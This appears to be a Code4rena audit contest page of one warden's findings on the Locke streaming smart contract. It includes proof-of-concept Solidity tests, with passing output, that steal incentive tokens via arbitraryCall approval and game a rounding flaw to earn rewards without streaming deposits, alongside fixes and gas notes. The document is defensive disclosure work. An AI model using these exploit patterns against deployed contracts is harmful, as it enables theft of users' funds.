Platform: Code4rena
Start Date: 30/11/2021
Pot Size: $100,000 USDC
Total HM: 15
Participants: 36
Period: 7 days
Judge: 0xean
Total Solo HM: 4
Id: 62
League: ETH
Rank: 2/36
Findings: 4
Award: $8,633.19
🌟 Selected for report: 2
🚀 Solo Findings: 1
🌟 Selected for report: toastedsteaksandwich
Also found by: Meta0xNull, Omik, ScopeLift, bitbopper, gzeon, pedroais, wuwe1
bitbopper
streamCreator
can remove incentive tokens before endStream by calling approve on the token beforehand.
streamCreator
has following methods of attack:
createIncentive
transaction.flashbots
to get executed before the createIncentive
transaction.Results in premature loss of funds of the Stream
contract.
Improve LockeTest.sol
with:
function doIncentivice(Stream stream, address token, uint112 amount) public { write_balanceOf_ts(address(token), address(this), amount); ERC20(token).approve(address(stream), amount); stream.createIncentive(token, amount); }
Add following to StreamTest
of Locke.t.sol
:
function test_arbCallSteal() public { //// SETUP ( uint32 maxDepositLockDuration, uint32 maxRewardLockDuration, uint32 maxStreamDuration, uint32 minStreamDuration ) = defaultStreamFactory.streamParams(); uint64 nextStream = defaultStreamFactory.currStreamId(); Stream stream = defaultStreamFactory.createStream( address(testTokenA), address(testTokenB), uint32(block.timestamp + 10), maxStreamDuration, maxDepositLockDuration, 0, false // false, // bytes32(0) ); testTokenA.approve(address(stream), type(uint256).max); stream.fundStream(1_000_000_000); //// BOOKKEEPING uint beforeBalance = testTokenC.balanceOf(address(alice)); //// ATTACK uint112 incentiveAmount = 100000; stream.arbitraryCall(address(testTokenC), abi.encodeWithSignature("approve(address,uint256)", address(this), incentiveAmount)); chelsea.doIncentivice(stream, address(testTokenC), incentiveAmount); //// STEAL testTokenC.transferFrom(address(stream), address(alice), incentiveAmount); //// PROOF uint afterBalance = testTokenC.balanceOf(address(alice)); emit log_named_uint("alice gained", afterBalance); assert (afterBalance > beforeBalance); assert (afterBalance == incentiveAmount); }
Output
dapp test --verbosity=2 --match "test_arbCallSteal" Running 1 tests for src/test/Locke.t.sol:StreamTest [PASS] test_arbCallSteal() (gas: 4114944) Success: test_arbCallSteal alice gained: 100000
dapptools
Ensure incoming amount of incentive token is not greater than the existing allowance for that token from the incentive sender at createIncentive
.
#0 - brockelmore
2021-12-08T22:27:21Z
slightly incorrect - it allows the gov to remove the incentive
#1 - 0xean
2022-01-14T22:01:00Z
dupe of #199
🌟 Selected for report: bitbopper
8058.1521 USDC - $8,058.15
bitbopper
stake
and withdraws
can generate rewardTokens without streaming depositTokens.
It does not matter whether the stream is a sale or not.
The following lines can increase the reward balance on a withdraw
some time after stake
:
https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L219:L222
// accumulate reward per token info cumulativeRewardPerToken = rewardPerToken(); // update user rewards ts.rewards = earned(ts, cumulativeRewardPerToken);
While the following line can be gamed in order to not stream any tokens (same withdraw tx). Specifically an attacker can arrange to create a fraction less than zero thereby substracting zero. https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L229
ts.tokens -= uint112(acctTimeDelta * ts.tokens / (endStream - ts.lastUpdate)); // WARDEN TRANSLATION: (elapsedSecondsSinceStake * stakeAmount) / (endStreamTimestamp - stakeTimestamp)
A succesful attack increases the share of rewardTokens of the attacker. The attack can be repeated every block increasing the share further. The attack could be done from multiple EOA increasing the share further. In short: Attackers can create loss of funds for (honest) stakers.
The economic feasability of the attack depends on:
The following was added to Locke.t.sol
for the StreamTest
Contract to simulate the attack from one EOA.
function test_quickDepositAndWithdraw() public { //// SETUP // accounting (to proof attack): save the rewardBalance of alice. uint StartBalanceA = testTokenA.balanceOf(address(alice)); uint112 stakeAmount = 10_000; // start stream and fill it ( uint32 maxDepositLockDuration, uint32 maxRewardLockDuration, uint32 maxStreamDuration, uint32 minStreamDuration ) = defaultStreamFactory.streamParams(); uint64 nextStream = defaultStreamFactory.currStreamId(); Stream stream = defaultStreamFactory.createStream( address(testTokenA), address(testTokenB), uint32(block.timestamp + 10), maxStreamDuration, maxDepositLockDuration, 0, false // false, // bytes32(0) ); testTokenA.approve(address(stream), type(uint256).max); stream.fundStream(1_000_000_000); // wait till the stream starts hevm.warp(block.timestamp + 16); hevm.roll(block.number + 1); // just interact with contract to fill "lastUpdate" and "ts.lastUpdate" // without changing balances inside of Streaming contract alice.doStake(stream, address(testTokenB), stakeAmount); alice.doWithdraw(stream, stakeAmount); ///// ATTACK COMES HERE // stake alice.doStake(stream, address(testTokenB), stakeAmount); // wait a block hevm.roll(block.number + 1); hevm.warp(block.timestamp + 16); // withdraw soon thereafter alice.doWithdraw(stream, stakeAmount); // finish the stream hevm.roll(block.number + 9999); hevm.warp(block.timestamp + maxDepositLockDuration); // get reward alice.doClaimReward(stream); // accounting (to proof attack): save the rewardBalance of alice / save balance of stakeToken uint EndBalanceA = testTokenA.balanceOf(address(alice)); uint EndBalanceB = testTokenB.balanceOf(address(alice)); // Stream returned everything we gave it // (doStake sets balance of alice out of thin air => we compare end balance against our (thin air) balance) assert(stakeAmount == EndBalanceB); // we gained reward token without risk assert(StartBalanceA == 0); assert(StartBalanceA < EndBalanceA); emit log_named_uint("alice gained", EndBalanceA); }
dapp test --verbosity=2 --match "test_quickDepositAndWithdraw" 2> /dev/null Running 1 tests for src/test/Locke.t.sol:StreamTest [PASS] test_quickDepositAndWithdraw() (gas: 4501209) Success: test_quickDepositAndWithdraw alice gained: 13227
dapptools
Ensure staked tokens can not generate reward tokens without streaming deposit tokens. First idea that comes to mind is making following line
https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L220
dependable on a positive amount > 0 of:
https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L229
🌟 Selected for report: gpersoon
Also found by: GiveMeTestEther, Meta0xNull, bitbopper, hack3r-0m, pauliax, pedroais, wuwe1
bitbopper
Uneeded msg.sender creating gas cost in Line:
https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L203
Remove msg.sender from updateStream
and updateStreamInternal
like so and modify all callers
modifier updateStream() { // save bytecode space by making it a jump instead of inlining at cost of gas updateStreamInternal(); _; } function updateStreamInternal() internal {
Saved ~8k gas during tests calling stake
in tests with DAPP_BUILD_OPTIMIZE=1 DAPP_BUILD_OPTIMIZE_RUNS=9999999
dapptools
#0 - 0xean
2022-01-17T12:55:33Z
dupe of #125
bitbopper
Unneeded gas cost in
https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L743
Remove ret
like this:
(bool success, ) = who.call(data);
Saved ~2.4k gas using
dapptools